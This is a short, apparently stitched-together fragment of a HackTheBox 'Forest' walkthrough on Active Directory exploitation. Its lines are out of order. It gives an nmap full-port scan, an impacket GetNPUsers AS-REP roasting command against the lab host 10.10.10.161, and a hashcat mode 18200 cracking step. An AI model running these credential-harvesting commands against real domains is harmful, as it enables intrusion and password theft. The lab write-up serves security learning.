Save the hash in hash.txt and use hashcat (mode 18200):

: A top choice for those wanting to avoid Metasploit. She provides a step-by-step guide using manual techniques and PowerShell .

sudo nmap -p- -T4 -Pn -oN forest_nmap_all 10.10.10.161

Forest HackTheBox Walkthrough: Mastering Active Directory Exploitation

impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -format hashcat -outputfile asreproast.hashes